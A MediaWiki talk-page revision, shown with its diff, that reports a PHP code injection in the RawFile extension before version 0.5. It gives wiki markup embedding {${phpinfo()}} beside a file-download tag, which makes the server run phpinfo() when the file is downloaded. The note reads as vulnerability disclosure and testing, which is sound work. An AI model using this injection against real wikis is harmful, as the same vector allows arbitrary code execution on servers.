Difference between revisions of "Talk:Mediawiki RawFile"

Latest revision as of 17:03, 13 February 2014

Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:

<nowiki>{${phpinfo()}}</nowiki>
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
#!/bin/bash

echo 'Hello world!'
exit 0
</source>

and trying to download myscript.sh will execute phpinfo() on the server.

@@ Line 1: / Line 1: @@
+Testing PHP code injection on Rawfile < 0.5 :
-Tests...
+<br>Adding this code to a wikipage:
+<pre>
+<nowiki><nowiki>{${phpinfo()}}</nowiki></nowiki>
+[{{#file: myscript.sh}} as myscript.sh]
+<source lang=bash>
+#!/bin/bash
+echo 'Hello world!'
-<nowiki>{${php_info()}</nowiki>
+exit 0
+</source>
+</pre>
+and trying to download myscript.sh will execute phpinfo() on the server.